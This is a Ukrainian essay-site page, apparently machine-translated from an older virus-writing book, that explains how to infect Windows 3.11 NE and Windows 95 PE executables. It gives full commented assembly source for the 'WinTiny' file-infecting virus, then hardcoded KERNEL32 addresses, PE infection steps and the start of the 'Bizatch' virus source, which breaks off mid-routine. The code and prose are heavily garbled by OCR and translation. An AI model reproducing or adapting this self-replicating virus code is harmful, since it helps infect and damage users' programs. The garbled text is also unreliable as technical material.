ПЕРЕЛІК ДИСЦИПЛІН:
  • Адміністративне право
  • Арбітражний процес
  • Архітектура
  • Астрологія
  • Астрономія
  • Банківська справа
  • Безпека життєдіяльності
  • Біографії
  • Біологія
  • Біологія і хімія
  • Ботаніка та сільське гос-во
  • Бухгалтерський облік і аудит
  • Валютні відносини
  • Ветеринарія
  • Військова кафедра
  • Географія
  • Геодезія
  • Геологія
  • Етика
  • Держава і право
  • Цивільне право і процес
  • Діловодство
  • Гроші та кредит
  • Природничі науки
  • Журналістика
  • Екологія
  • Видавнича справа та поліграфія
  • Інвестиції
  • Іноземна мова
  • Інформатика
  • Інформатика, програмування
  • Юрист по наследству
  • Історичні особистості
  • Історія
  • Історія техніки
  • Кибернетика
  • Комунікації і зв'язок
  • Комп'ютерні науки
  • Косметологія
  • Короткий зміст творів
  • Криміналістика
  • Кримінологія
  • Криптология
  • Кулінарія
  • Культура і мистецтво
  • Культурологія
  • Російська література
  • Література і російська мова
  • Логіка
  • Логістика
  • Маркетинг
  • Математика
  • Медицина, здоров'я
  • Медичні науки
  • Міжнародне публічне право
  • Міжнародне приватне право
  • Міжнародні відносини
  • Менеджмент
  • Металургія
  • Москвоведение
  • Мовознавство
  • Музика
  • Муніципальне право
  • Податки, оподаткування
  •  
    Бесплатные рефераты
     

     

     

     

     

     

         
     
    Віруси під Windows
         

     

    Інформатика, програмування

    ВІРУСИ ПІД WINDOWS

    У цьому розділі розказано
    про віруси, що заражають фай-
    ли в операційному середовищі
    Windows. Найбільш докладно
    розглянуті віруси під
    Windows 95, Представлено
    вихідні тексти вірусів
    з докладними коментарями,
    Також наведені основні
    відомості про запускаються фай-
    лах програм під Windows,
    їхній структурі, відмінності
    від файлів DOS,

    Віруси під Windows 3.11

    У виконуваному файлі Windows містяться в різних комбінаціях
    код, дані і ресурси. Ресурси - це BIN-дані для прикладних про-
    грам. З огляду на можливість запуску файлу з DOS, формат даних
    повинен розпізнаватися обома системами - і DOS, і Windows.
    Для цього всі виконувані файли під Windows містять два заголовки-
    ка. Перший заголовок (старий) - розпізнається DOS як програма, ви-
    водяна на екран "This program requires Microsoft Windows". Другий
    заголовок (NewEXE) - для роботи в Windows (див. додаток).

    Як же заразити Windows NewEXE? На перший погляд файл формату
    WinNE - звичайний ЕХЕ-файл. Починається він із заголовка ЕХЕ для
    DOS і програми (STUB), яка виводить повідомлення "This program
    requires Microsoft Windows".

    Якщо в ЕХЕ-заголовку по зміщенню 18h стоїть число 40h або більше,
    значить по зсуву 3Ch знаходиться зміщення заголовка NewEXE.

    Заголовок NewEXE починається з символів "NE". Далі йде власної
    але заголовок, в якому містяться різні дані, у тому числі ад-
    реса зсувів таблиць сегментів, ресурсів та інші. Після заголовка
    розташована таблиця сегментів, за нею - всі інші таблиці, далі
    розміщені власне сегменти з кодом.

    Отже, порядок дій:

    1. Адреса заголовка NewEXE (DOS_Header +3 Ch) зменшується на 8.

    2. Заголовок NewEXE зсувається на 8 байт тому.

    3. У таблицю сегментів додається новий елемент, що описує
    сегмент вірусу.

    4. CS: IP NewEXE змінюється на початок вірусного коду, саме тіло
    вірусу дописують в кінець файлу.

    Для завантаження в пам'ять (треба перехопити вектор INT 21h з-під
    Windows) необхідно використовувати функції DPMI (INT 31h). Дей-
    наслідком: виділення сегмента, зміна його прав доступу, запис вірусу,
    перехоплення переривання 21h (робиться за допомогою функцій DPMI).

    Як приклад наведено повний вихідний текст вірусу під Windows.
    Принципи зараження такі ж, як і при зараженні ^ звичайного ЕХЕ-фай-
    ла, - змінюється структура ЕХЕ-файла і середовище, в якому він працює.

    .286

    . MODEL TINY
    . CODE

    ; Збережемо регістри і прапори
    pushf
    pusha
    push ds
    push es

    . Перевіримо, чи доступний DPMI. Якщо доступний,
    Продовжуємо, якщо ні - виходимо

    mov ax, 1686h

    int 2Fh

    or ax, ax

    jz dpmi_exist

    ; Відновимо регістри і прапори
    exit:

    pop es

    pop ds

    popa

    popf

    . Запустимо програму-носій

    db OEAh
    reloclP dw 0
    relocCS dw OFFFFh
    dpmi_exist:

    ; Виділимо лінійний блок пам'яті, використовуючи DPMI
    mov ax, 0501h
    mov cx, OFFFFh
    xor bx.bx
    int 31 h

    ; Збережемо індекс і 32-бітний лінійний адреса
    . отриманого блоку пам'яті в стеку

    push si ~ ^

    push di

    push bx

    push ex

    ; Створимо дескриптор в таблиці LDT
    Хог ах, ах
    mov ex, 1
    int 31 h

    ; B полі адреси отриманого дескриптора
    . встановимо адресу потрібного блоку пам'яті

    mov bx, ax

    mov ах, 7

    pop dx

    pop ex

    int • 31h

    ; B полі межі отриманого дескриптора
    зупинимо розмір виділеного блоку пам'яті

    mov ах, 8

    mov dx, OFFFFh

    Хог сх.сх

    int 31h

    ; У полі прав доступу отриманого дескриптора встановимо значення,
    відповідне сегменту даних, доступному для читання і запису

    mov ах, 9

    mov cl, 1111001 Ob

    Хог ch, ch

    int 31h

    ; 3агрузім селектор в регістр DS. Після цього регістр DS буде
    надавати на виділений блок пам'яті
    mov ds.bx

    . Читаємо з стека і зберігаємо в пам'яті
    ; індекс отриманого блоку пам'яті

    pop [mem_hnd 2]

    pop [mem_hnd]

    Отримаємо поточну DTA
    mov ah, 2Fh
    int 21 h
    mov [DTA], bx
    mov [DTA 2], es

    ; Знайдемо перші ЕХЕ-файл (маска *. ЕХЕ)
    mov ah, 4Eh
    xor ex, ex

    mov dx, OFFSET wild_exe
    push ds
    push cs
    pop ds
    int 21 h
    pop ds

    ; Якщо файл знайдений, перейдемо до зараження, інакше звільнимо
    ; виділену область пам'яті і запустимо програму-носій
    jnc found_exe

    ; 0свободім виділену область пам'яті
    call free

    . Запустимо програму-носій
    jmp exit

    . Перейдемо до наступного файлу - цей не підходить
    close_exe:

    ; Закриємо файл
    mov ah, 3Eh
    int 21h

    ; Знайдемо Наступне фото
    mov ah, 4Fh
    int 21h

    ; Якщо файл знайдений, перейдемо до зараження, інакше звільнимо
    -. виділену область пам'яті і запустимо програму-носій
    jnc found_exe

    ; 0свободім виділену область пам'яті
    call free

    ; 3апустім програму-носій
    jmp exit

    ; Файл знайдений, перевіримо його на придатність до зараження
    found ехе:

    ; 0ткроем файл для читання і запису
    push ds

    Ids dx, DWORD PTR [DTA]
    add dx.lEh
    mov ax, 3D02h
    int 21 h
    pop ds

    . Прочитаємо старий заголовок
    mov dx.OFFSET old_hdr
    mov bx.ax
    mov cx, 40h
    mov ah, 3Fh
    int 21h

    ; Перевіримо сигнатуру, це ЕХЕ-файл?
    cmp WORD PTR [old_hdr], "ZM"
    jne close_exe

    [Перевіримо зсув таблиці налаштування адрес.

    ; Якщо значення більше 40h, то це не звичайний ЕХЕ-файл.

    ; Не будемо одразу робити висновок,

    ; що це NewEXE, тому ^ що це може виявитися

    ; РЕ-, LE-, LX-executable або інший

    ; (PE-executable описаний в розділі,

    [присвяченому Windows 95, решта

    ; типи ЕХЕ-файлів в цій книзі не розглядаються)

    cmp [old_hdr +18 h], WORD PTR 40h

    jb close_exe

    . Перейдемо до другого заголовку (може бути, це NewEXE?):

    Перекладаємо покажчик до зсуву, зазначеної у полі 3Ch

    mov dx.WORD PTR [old_hdr +3 Ch]

    mov cx.WORD PTR [old_hdr +3 Eh]

    mov ax, 4200h

    int 21h

    ; Прочитаємо другий заголовок
    mov dx.OFFSET newJ-idr
    mov ex, 40h
    mov ah, 3fh
    int 21h

    [Перевіримо сигнатуру, якщо сигнатура "NE", то це NewEXE-файл
    cmp WORD PTR [new_hdr], "EN"
    jne close_exe

    [Перевіримо, для Windows чи призначений цей файл. Якщо так, будемо
    ; заражати, інакше переходимо до наступного файлу

    mov al, [new_hdr +36 h]

    and al, 2

    jz close_exe

    . Пересуньте курсор читання/запису в таблицю сегментів,
    ; до елемента, що означає сегмент точки старту програми.
    [Для цього прочитаємо значення регістра CS при запуску
    [цього ЕХЕ-файла

    mov dx.WORD PTR [new_hdr +16 h]

    ; За номером сегмента обчислимо положення відповідного йому
    [елемента в таблиці сегментів

    dec dx

    shi dx, 3

    ; K результату додамо зсув таблиці сегментів і зсув
    . заголовка NewEXE

    add dx, WORD PTR [new_hdr +22 h]

    add dx.WORO PTR [old_hdr +3 ch]

    mov cx.WORD PTR [old_hdr 3 eh]

    [перемістіть вказівник читання/запису
    mov ax, 4200h
    int 21 h

    [Прочитаємо з таблиці сегментів зміщення логічного сектора
    mov dx, OFFSET temp
    mov ex, 2
    mov ah, 3Fh
    int 21 h

    . Обчислимо зміщення сегмента, спираючись на значення
    . зміщення логічного сектора і множника секторів

    mov dx.WORD PTR [temp]

    mov cx.WORD PTR [new_hdr +32 h]

    xor ax.ax

    cal_entry:

    shi dx, 1

    rcl ax, 1

    loop cal_entry

    . Перемістивши 16 старших біт 32-о результату в регістр СХ
    mov cx, ax

    ; Додамо до результату зсув стартового адреси (IP)
    add dx, WORD PTR [new_hdr +14 h]
    adc cx.O

    ; перемістіть вказівник позиції читання/запису на точку старту
    . програми - результат обчислення

    mov ax, 4200h

    int 21 h

    ; Вважаємо перші 10 байт після старту програми
    mov dx, OFFSET temp
    mov cx, 10h
    mov ah, 3Fh
    int 21 h

    Перевіримо, чи заражений файл. Якщо лічені 10 байт в точності
    ; збігаються з першими 10-ма байтами нашого вірусу, файл заражений.
    ; У цьому випадку переходимо до пошуку наступного, інакше - заражаємо

    mov si.OFFSET temp

    push cs

    pop es

    xor di.di

    mov ex, 8

    eld

    rep cmpsw

    jne ok_to_infect

    jmp close_exe

    Приступимо до зараження
    ok_to_infect:

    Перемістивши NE-заголовок на 8 байт ближче до початку файлу.
    ; Виправимо відповідні поля старого заголовка
    sub WORD PTR [old_hdr +10 h], 8

    sub WORD PTR [old_hdr +3 ch], 8
    sbb WORD PTR [old_hdr 3 eh], 0

    ; Виправимо значення таблиць у новому заголовку, щоб перемістилися
    ; тільки заголовок і таблиця сегментів (без інших таблиць)

    add WORD PTR [new_hdr 4], 8

    add WORD PTR [new_hdr +24 h], 8

    add WORD PTR [new_hdr +26 h], 8

    add WORD PTR [new_hdr +28 h], 8

    add WORD PTR [new_hdr 2 ah], 8

    ; Збережемо оригінальні значення точок входу CS і IP
    push WORD PTR [new_hdr +14 h]
    pop [hostJp]

    pushTWORD PTR [new_hdr +16 h]
    pop [host_cs]

    ; Додамо ще один сегмент в таблицю сегментів і встановимо
    ; точку входу на його початок

    mov WORD PTR [new_hdr +14 h], 0

    inc WORD PTR [new_hdr +1 ch]

    push WORD PTR [new_hdr +1 ch]

    pop WORD PTR [new_hdr +16 h]

    . Пересуньте курсор читання/запису в початок файлу
    ; (до старого заголовку)

    Хог сх.сх

    xor dx.dx

    mov ax, 4200h

    int 21 h

    ; 3апішем старий заголовок, так як модифіковані
    ; деякі поля його копії в пам'яті

    mov dx.OFFSET old_hdr

    mov cx, 40h

    mov ah, 40h

    int 21 h

    ; перемістіть вказівник читання/запису на початок нового
    заголовка (його перемістили на 8 байт до початку файлу)

    mov dx.WORD PTR [old_hdr +3 ch]

    mov cx, WORD PTR [old_hdr 3 eh]

    mov ax, 4200h
    int 21 h

    ; 3апішем новий заголовок, тому що в його копії
    ; в пам'яті деякі поля модифіковані

    mov dx, OFFSET new_hdr

    mov cx, 40h

    mov ah, 40h

    int 21h

    . Пересуньте курсор читання/запису на 8 байт
    ; вперед - до початку таблиці сегментів

    Хог сх.сх

    mov dx, 8

    mov ax, 4201 h

    int 21h

    розрахуємо розмір таблиці сегментів і вважаємо її в пам'ять
    mov dx, OFFSET temp
    mov cx.WORD PTR [new_hdr +1 ch]
    dec ex
    shi cx.3
    push ex
    mov ah, 3Fh
    int 21h

    перемістіть вказівник читання/запису назад, до позиції
    ; за 8 байт перед початком таблиці сегментів

    pop dx

    push dx

    add dx, 8

    neg dx

    mov cx, -1

    mov ax, 4201h

    int 21h

    ; 3апішем таблицю сегментів у файл, але не на її колишнє місце,
    ; а на 8 байт ближче до початку файлу

    mov dx, OFFSET temp

    pop ex

    mov ah, 40h

    int 21h

    . Прочитаємо поточну позицію читання/запису (кінець таблиці сегментів)
    xor сх, сх
    xor dx.dx
    mov ^ ax, 4201h
    int 21 h

    ; Збережемо в стеку поточну позицію читання/запису
    push dx
    push ax

    . Отримаємо довжину файлу, перемістивши покажчик
    ^ тенія/запису в кінець файлу

    xor сх.сх

    xor dx, dx

    mov ax, 4202h

    int 21 h

    ; Збережемо в стеку довжину файлу
    push dx
    push ax

    ; Обчислимо і збережемо довжину логічного сектора
    mov cx.WORD PTR [new_hdr +32 h]
    mov ax, 1
    shi ax.cl
    mov [log_sec_len], ax

    ; Обчислимо довжину файлу в логічних секторах
    mov сх.ах
    pop ax
    pop dx
    div ex

    -. Врахуємо неповний сектор. Якщо в результаті вийшов
    ; залишок, збільшимо кількість секторів

    or dx, dx

    jz no_rmd

    inc ax
    no_rmd:

    ; 3аполнім поля нового елемента в таблиці сегментів
    mov [my_seg_entry], ax

    3-1436

    mov [my_seg_entry 2], OFFSET vir_end

    mov [my_seg_entry 4], 180h

    mov [my_seg_entry 6], OFFSET vir_end

    ; Відновимо з стека позицію у файлі кінця таблиці секторів
    pop dx
    pop ex

    перемістіть вказівник читання/запису до цієї позиції
    mov ax, 4200h
    int 21 h

    . Запишемо в кінець таблиці новий елемент
    mov dx, OFFSET my_seg_entry
    mov ex, 8
    mov ah, 40h
    int 21 h

    ; скопіюємо тіло вірусу в область пам'яті, яку виділили

    ; на початку програми, для змін у ньому. У захищеному режимі

    ; (а працюємо саме в ньому), не можна робити запис в сегмент

    ; коду. Якщо з якоїсь причини потрібно зробити зміна

    ; в сегменті коду, створюється аліасний дескриптор даних

    ; (дескриптор, що містить той же зміщення і довжину,

    ; що і сегмент коду), і подальша робота ведеться з ним.

    ; У даному випадку просто скористаємося виділеним блоком пам'яті

    push ds

    pop es

    push cs

    pop ds

    xor si, si

    mov di, OFFSET temp

    mov ex, OFFSET vir_end

    eld

    rep movsb

    push es

    pop ds

    Ініціалізіруем адреса точки входу
    mov si, OFFSET temp
    mov WORD PTR [si + reloc! P], 0
    mov WORD PTR [si + relocCS], OFFFFh

    перемістіть вказівник читання/запису на нову точку входу

    mov ax, [my_seg_entry]

    mov cx, [log_sec_len]

    mul ex

    mov cx.dx

    mov dx.ax

    mov ax, 4200h

    int 21h

    ; 3апішем тіло вірусу в файл

    mov dx, OFFSET temp

    mov ex, OFFSET vir_end

    mov ah, 40h

    int 21h

    . Ініціалізіруем поля переміщуваного елемента
    mov WORD PTR [reloc_data], 1
    mov BYTE PTR [reloc_data 2], 3
    mov BYTE PTR [reloc_data 3], 4
    mov WORD PTR [reloc_data 4], OFFSET reloclP

    ; 3апішем переміщуваний елемент
    mov dx, OFFSET reloc_data
    mov ex, 10
    mov ah, 40h
    int 21h

    [Закриємо файл
    mov ah, 3Eh
    int 21h

    . Визволимо виділений блок пам'яті
    call free

    ; 3апустім програму-носій
    jmp exit

    . Процедура, яка звільняє виділений блок пам'яті
    free PROC NEAR

    mov ax, 0502h

    mov si, [mem_hnd]

    mov di, [mem_hnd 2]

    з *

    int 31 h
    ret
    free ENDP

    ; Маска для пошуку файлів
    wild_exe DB "• ЕХЕ-.О

    ; Назва вірусу

    DB "WinTiny"

    ; Ідентифікатор, що вказує на кінець ініціалізований даних
    vir_end:

    . Індекс виділеного блоку пам'яті
    mem_hnd DW?
    DW?

    ; Адреса поточної DTA
    DTA DW?
    DW?

    ; Місце для зберігання старого заголовка
    olcLhdr DB 40h dup (?)

    . Місце для зберігання нового заголовка
    new_hdr DB 40h dup (?)

    ; Довжина логічного номера сектора
    log_sec_len DW?

    ; Новий елемент у таблиці сегментів
    my_seg_entry DW?

    DW?

    DW?

    DW?

    . переміщувати елементи
    reloc_dataDW?

    DB?

    DB?

    DW?

    ; 3наченіе оригінальної точки входу
    host_cs DW?
    hostJp DW?

    ; 0бласть пам'яті для використання
    temp DB?
    END

    Віруси під Windows 95

    Формат Portable Executable використовується Win32, Windows NT
    і Windows 95, що робить його дуже популярним, і в майбутньому, можли-
    але, він стане домінуючим форматом ЕХЕ. Цей формат значною
    але відрізняється від NE-executable, що використовується в Windows 3.11.

    виклик Windows 95 API

    Звичайні програми викликають Windows 95 API (Application Program
    Interface) використовуючи таблицю імпортованих імен. Коли додаток
    додано, дані, необхідні для виклику API, заносяться до цієї таблиці-
    цу. У Windows 95, завдяки передбачливості фірми-робите-
    Щоб Microsoft, модифікувати таблицю імпортованих імен неможливе.

    Ця проблема вирішується безпосереднім викликом KERNEL32. Тобто
    необхідно повністю ігнорувати структуру виклику і перейти не-
    посередньо на точку входу DLL.

    Щоб отримати описувач (Handle) DLL/EXE, можна використовувати
    виклик API GetModuleHandle або інші функції для отримання точок
    входу модуля, включаючи функцію отримання адреси API GetProcAddress.

    Як викликати API, маючи можливість викликати його і в той же час та-
    кой можливості не маючи? Відповідь: викликати API, розташування которо-
    го в пам'яті відомо - це API у файлі KERNEL32.DLL, він знаходиться
    за постійним адресою.

    Виклик API додатками виглядає приблизно так:

    call APLFUNCTIONJMAME
    наприклад:

    call CreateFileA
    Після компіляції цей виклик виглядає так:

    db 9Ah. інструкція call
    dd 7777; зміщення у таблиці переходів

    Код в таблиці переходів схожий на такий:

    jmp far [offset into import table]

    Зсув в таблиці імпортуються імен містить адреса диспетчера
    для даної функції API. Ця адреса можна отримати за допомогою
    GetProcAddress API. Диспетчер функцій виглядає так:

    push function value
    call Module Entrypoint

    Знаючи точки входу, можна викликати їх прямо, минаючи таблицю цього
    модуля. Тому можна замінити виклики KERNEL32.DLL в його стан-
    дротяні точці на виклики безпосередньо функцій. Просто зберігаємо
    в стеку значення функції і викликаємо точку входу в модуль.

    Модуль KERNEL32 розташовується в пам'яті статично - саме так
    і передбачалося. Але конкретне місце його розташування в різних вер-
    сіях Windows 95 відрізняється. Це було підтверджено. Виявилося, що один
    функція (одержання часу/дати) відрізняється номером. Для комп-
    сації цих відмінностей додана перевірка двох різних місць на наяв-
    чіе KERNEL32. Але якщо KERNEL32 все-таки не знайдений, вірус повер-
    приватна власність посправжньому розкріпачує керування програмі-носію.

    Адреси та номери функцій

    Для June Test Release KERNEL32 знаходиться за адресою OBFF93B95h, для
    August Release - за адресою OBFF93ClDh. Можна знайти інші значен-
    ня функції, використовуючи 32-бітний відладчик. У таблиці 3.1 наведені
    адреси функцій, які потрібні для роботи вірусу.

    Таблиця 3.1. Адреси деяких функцій KERNEL        Функція         Адреса в June Test Release         Адреса в August Test
    Release             GetCurrentDir         BFF77744h         BFF77744h             SetCurrentDir         BFF7771Dh         BFF7771Dh             GetTime         BFF9DOB6h         BFF9D14Eh             MessageBox         BFF638D9h         BFF638D9h             FindFile         BFF77893h         BFF77893h             FindNext         BFF778CBh         BFF778CBh             CreateFile         BFF77817h         BFF77817h             SetFilePointer         BFF76FAOh         BFF76FAOh             ReadFile         BFF75806h         BFF75806h             WriteFile         BFF7580Dh         BFF7580Dh             CloseFile         BFF7BC72H         BFF7BC72h     


    Угоди про виклики

    Windows 95 написаний на мовах C + + (в основному) і Assembler. І, хоча
    угоди про виклики простими для застосування, Microsoft їх не викорис-
    зует. Всі API під Wm95 використовують Pascal Calling Convention. При-
    заходів - API, описаний у файлах довідки Visual C + +:

    FARPROC GetProcAddress (

    HMODULE hModule,// описувач DLL-модуля
    LPCSTR IpszProc// ім'я функції

    );

    На перший погляд здається, що достатньо лише зберегти в стеку опи-
    Сател DLL-модуля (він стоїть перед покажчиком на ім'я функції) і дзв-
    вать API. Але це не так. Параметри, згідно Pascal Calling Convention,
    повинні бути збережені у стеку у зворотному порядку:

    push offset IpszProc

    push dword ptr [hModule]

    call GetProcAddress

    Використовуючи 32-бітний відладчик, можна оттрассіровать виклик і знайти
    виклик KERNEL32 для кожного конкретного випадку. Це дозволить напів-
    чити номер функції і обійтися без необхідної для виклику таблиці
    імпортованих імен.

    Зараження файлів формату PE-executable

    Визначення положення початку РЕ-заголовка відбувається аналогічно
    пошуку початку NE-заголовка. Якщо зсув таблиці налаштування адре-
    сов (поле 18h) в заголовку ЕХЕ-файла 40h або більше, то по зсуву
    ЗСЬ знаходиться зміщення PE-executable заголовка. Сигнатура PE-execu-
    table ( "РЕ") знаходиться, як і у NE-executable ЕХЕ-файла, на початку но-вого
    заголовка.

    Всередині РЕ-заголовка знаходиться таблиця об'єктів. Її формат найбільш
    важливий в порівнянні з іншими. Щоб додати вірусного коду в но-
    СІТЕЛ і перехоплення вірусом управління необхідно додати елемент
    в таблицю об'єктів.

    Основні дії зараження PE-executable файлу:

    1. Знайти зсув заголовка PE-executable у файлі.

    2. Вважати достатню кількість інформації із заголовка для
    обчислення його повного розміру.

    3. Вважати весь РЕ-заголовок і таблицю об'єктів.

    4. Додати новий об'єкт до таблиці об'єктів.

    5. Встановити точку входу RVA на новий об'єкт.

    6. Дописати вірус до файлу по вирахуваній фізичній зсуву.

    7. Записати змінений РЕ-заголовок у файл.
    Для визначення розташування таблиці об'єктів слід скориста-
    тися значенням змінної "HeaderSize" (не плутати з "NT
    headersize"), яка містить спільний розмір заголовків DOS, РЕ
    і таблиці об'єктів.

    Для читання таблиці об'єктів необхідно вважати HeaderSize байт
    від початку файлу.

    Таблиця об'єктів розташована безпосередньо за NT-заголовком. Зна-чення
    "NTheadersize" показує кількість байт, наступних за полем
    "flags". Отже, для визначення зміщення таблиці об'єктів потрібно по-
    лучіть NTheaderSize і додати розмір поля прапорів (24).

    Додавання об'єкту: отримавши кількість об'єктів, помножити його на 40
    (розмір елемента таблиці об'єктів). Таким чином визначається кош-
    щення, по якому буде розташований вірус.

    Дані для елемента таблиці об'єктів повинні бути обчислені з викорис-
    тання інформації в попередньому елементі (елементі носія).

    RVA = ((prev RVA + prev Virtual Size)/OBJ Alignment 1)

    * OBJ Alignment

    Virtual Size = ((size of virus + buffer any space)/OBJ Alignment 1)

    * OBJ Alignment

    Physical Size = (size of virus/File Alignment +1) * File Alignment

    Physical Offset = prev Physical Offset + prev Physical Size

    Object Flags = db 40h, 0, O. COh

    Entrypoint RVA = RVA

    Тепер необхідно збільшити на одиницю поле "кількість об'єктів"
    і записати код вірусу по вирахуваній "фізичній зсуву"
    в розмірі "фізичного розміру" байт.

    Приклад вірусу під Windows 95

    .386

    locals

    jumps

    . model flat.STDCALL

    include win32.inc деякі 32-бітові константи і структури

    L equ

    ; 0пределім зовнішні функції, до яких буде підключатися вірус
    extrn BeginPaint: PROC
    extrn CreateWindowExA: PROC
    extrn DefWindowProcA: PROC
    extrn DispatchMessageA: PROC
    extrn EndPaint: PROC
    extrn ExitProcess.-PROC
    extrn FindWindowA: PROC
    extrn GetMessageA: PROC
    extrn GetModuleHandleA: PROC
    extrn GetStockObject: PROC
    extrn lnvalidateRect: PROC
    extrn LoadCursorA: PROC
    extrn LoadlconA: PROC
    extrn MessageBeep: PROC
    extrn PostQuitMessage: PROC
    extrn RegisterClassA: PROC
    extrn ShowWindow: PROC
    extrn SetWindowPos: PROC
    extrn TextOutA: PROC
    extrn TranslateMessage: PROC
    extrn UpdateWindow: PROC

    ; Для підтримки Unicode Win32 інтерпретує деякі функції

    ; для ANSI або розширеного набору символів.

    ; В якості прикладу розглянемо ANSI

    CreateWindowEx equ

    DefWindowProc equ

    DispatchMessage equ

    FindWindow equ

    GetMessage equ

    GetModuleHandle equ

    LoadCursor equ

    Loadlcon equ

    MessageBox equ

    RegisterClass equ

    TextOut equ

    • data

    newhwnd dd 0

    Ippaint PAINTSTRUCT

    msg MSGSTRUCT

    we WNDCLASS

    mbx_count dd 0

    hinst dd 0

    szTitleName db "Bizatch by Quantum/VLAD activated"

    zero db 0

    szAlternate db "more than once", 0

    szClassName db "ASMCLASS32", 0

    [Повідомлення, що виводиться у вікні
    szPaint db "Left Button pressed:"
    s_num db "OOOOOOOOh times.", 0

    . Розмір повідомлення

    MSG_L EQU ($-offset szPaint) -!

    . code

    ; Сюди зазвичай передається управління від завантажувача.
    start:

    . Отримаємо HMODULE
    push L Про

    call GetModuleHandle
    mov [hlnst], eax
    push L 0

    push offset szClassName
    call FindWindow
    or eax.eax
    jz reg_class

    . Простір для модифікації рядка заголовка

    mov [zero], ""
    reg_class:

    ; Ініціалізіруем структуру WndClass

    mov [wc.clsStyle], CS_HREDRAW + CS_VREDRAW + CS_GLOBALCLASS

    mov [wc.clsLpfnWndProc], offset WndProc

    mov [wc.clsCbClsExtra], 0

    mov [wc.clsCbWndExtra], 0

    mov eax, [hlnst]

    mov [wc.clsHlnstance], eax

    [Завантажуємо значок

    push L IDLAPPLICATION
    push L 0
    call Loadlcon
    mov [wc.clsHlcon], eax

    ; Завантажуємо курсор

    push L IDC.ARROW

    push L 0

    call LoadCursor

    mov [wc.clsHCursor], eax

    . Ініціалізіруем залишилися поля структури WndClass
    mov [wc.clsHbrBackground], COLOR_WINDOW 1
    mov dword ptr [wc.clsLpszMenuName], 0
    mov dword ptr [wc.clslpszClassNameJ.offset szClassName

    ; Реєструємо клас вікна
    push offset we
    call RegisterClass

    ; Створюємо вікно

    push L 0. IpParam
    push [hinst]. hinstance
    push L 0; Меню
    push L 0; hwnd батьківського вікна
    push L CWJJSEDEFAULT; Висота
    push L CWJJSEDEFAULT; Довжина
    push L CWJJSEDEFAULT; Y
    push L CWJJSEDEFAULT; X
    push L WSJ3VERLAPPEDWINDOW; Style
    push offset szTitleName; Title Style
    push offset szClassName; Class name
    push L 0; extra style
    call CreateWindowEx

    . Зберігаємо HWND

    mov [newhwnd], eax

    . відображається вікно на екрані
    push L SW.SHOWNORMAL
    push [newhwnd]
    call ShowWindow

    ; 0бновляем вміст вікна
    push [newhwnd]
    call UpdateWindow

    ; 0чередь повідомлень
    msgJoop:

    . Прочитаємо таке повідомлення з черги
    push L Про
    push L Про
    push L Про
    push offset msg
    call GetMessage

    ; Якщо функція GetMessage повернула нульове значення, то завершуємо
    [обробку повідомлень і виходимо з процесу

    стр ах.0

    je endJoop

    Перетворимо віртуальні коди клавіш в повідомлення клавіатури
    push offset msg
    call TranslateMessage

    Передаємо це повідомлення тому в Windows
    push offset msg
    call DispatchMessage

    [Переходимо до наступного повідомлення
    jmp msgJoop

    ; Вихід з процесу
    endJoop:

    push [msg.msWPARAM]

    call ExitProcess

    . Обробка повідомлень вікна. Win32 вимагає збереження регістрів

    ; ЕВХ, EDI. ESI. Запишемо ці регістри після "uses" у рядку "Ргос".
    ; Це дозволить Асемблер зберегти їх
    WndProc proc uses ebx edi esi, hwnd; DWORD, wmsg: DWORD,
    wparam: DWORD, lparam: DWORD
    LOCAL theDC: DWORD

    [Перевіримо, яке повідомлення отримали, і перейдемо до обробки
    cmp [wmsg], WM_DESTROY
    je wmdestroy

    стр [wmsg], WM_RBUTTONDOWN
    je wmrbuttondown
    cmp [wmsg], WM_SIZE
    je wmsize

    cmp [wmsg]. WM_CREATE
    je wmcreate

    cmp [wmsg], WM_LBUTTONDOWN

    je wmlbuttondown

    cmp [wmsg], WM_PAINT

    je wm paint

    cmp [wmsg], WM_GETMINMAXINFO

    je wmgetminmaxinfo

    Дана програма не обробляє це повідомлення.
    . Передамо його Windows,
    : щоб воно було оброблено за замовчуванням
    jmp defwndproc

    . Повідомлення WM_PAINT (перемалювати вміст вікна)
    wmpaint:

    Підготуємо вікно для перемальовування
    push offset Ippaint
    push [hwnd]
    call BeginPaint
    mov [theDC], eax

    ; Переведемо в ASCII-формат значення mbx_count, яке
    доводить, скільки разів була натиснута ліва кнопка миші

    mov eax, [mbx_count]

    mov edi, offset s_num

    call HexWrite32

    ; Висновок рядки у вікно

    push L MSG_L; Фраза

    push offset szPaint; Рядок

    push L 5; Y

    push L 5; X

    push [theDC]; DC
    call TextOut

    ; 0бозначім завершення перемальовування вікна
    push offset Ippaint
    push [hwnd]
    call EndPaint

    ; Виходимо з обробки повідомлення
    mov eax, 0
    jmp finish

    ; Повідомлення WM_CREATE (створення вікна)
    wmcreate:

    ; Виходимо з обробки повідомлення
    mov eax, Про
    jrnp finish

    [Повідомлення, не обробляється даною програмою, передаємо Windows
    defwndproc:

    push [Iparam]

    push [wparam]

    push [wmsg]

    push [hwnd]

    call DefWindowProc

    [Виходимо з обробки повідомлення
    jmp finish

    [Повідомлення WM_DESTROY (знищення вікна)
    wmdestroy:

    [Закриємо потік
    push L Про
    call PostQuitMessage

    [Виходимо з обробки повідомлення
    mov eax, Про
    jmp finish

    . Повідомлення WMJ-BUTTONDOWN (натиснута ліва кнопка миші)
    wmlbuttondown:

    inc [mbx_count]

    [оновити вміст вікна
    push L Про
    push L Про
    push [hwnd]
    call InvalidateRect

    [Виходимо з обробки повідомлення
    mov eax, Про
    jmp finish

    [Повідомлення WM_RBUTTONDOWN (натиснута права кнопка миші)

    wmrbuttondown:

    push L 0
    call MessageBeep

    ; Вихід їм з обробки повідомлення
    jmp finish

    ; Повідомлення WM_SIZE (змінено розмір вікна)
    wmsize:

    [Виходимо з обробки повідомлення
    mov eax, Про
    jmp finish

    [Повідомлення WM_GETMINMAXINFO (спроба змінити розмір
    ; або положення вікна)
    wmgetminmaxinfo:

    [Заповнимо структуру MINMAXINFO
    mov ebx, [Iparam]

    mov [(MINMAXINFO ptr ebx). mintrackposition_x], 350
    mov [(MINMAXINFO ptr ebx). mintrackposition_y], 60

    . Виходимо з обробки повідомлення
    mov eax, 0
    jmp finish

    [Виходимо з обробки повідомлення
    finish:

    ret
    WndProc endp

    Процедура перекладу байти в ASCII-формат для друку. Значення,
    [що знаходиться в регістрі AL, буде записано в ASCII-форматі
    ; за адресою ES: EDI
    HexWriteS proc

    ; Розділяємо байт на полубайти і завантажуємо їх у регістри АН і AL
    mov ah.al
    and al.OFh
    shr ah, 4

    [Додаємо 30h до кожного полубайту, щоб регістри містили коди
    [відповідних символів ASCII. Якщо число,

    ; записане в полубайте, було більше 9,
